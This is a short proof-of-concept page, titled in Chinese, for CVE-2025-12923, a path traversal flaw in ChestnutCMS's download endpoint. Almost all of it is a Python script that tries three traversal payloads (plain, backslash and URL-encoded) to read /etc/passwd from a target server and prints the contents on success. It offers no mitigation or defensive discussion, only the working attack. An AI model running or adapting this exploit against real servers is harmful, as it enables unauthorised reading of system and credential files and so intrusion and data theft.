CVE-2025-12923 ChestnutCMS路径遍历漏洞导致任意文件读取

import requests # CVE-2025-12923 Path Traversal PoC for ChestnutCMS # Target: /dev-api/common/download?path=../../../etc/passwd target_url = "http://target.com/dev-api/common/download" # Path traversal payload to read /etc/passwd payloads = [ "../../../etc/passwd", "..\..\..\etc\passwd", "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" ] for payload in payloads: params = {"path": payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200 and "root:" in response.text: print(f"[+] Vulnerable! File content:\n{response.text}") else: print(f"[-] Payload failed: {payload}") except requests.RequestException as e: print(f"[-] Request error: {e}")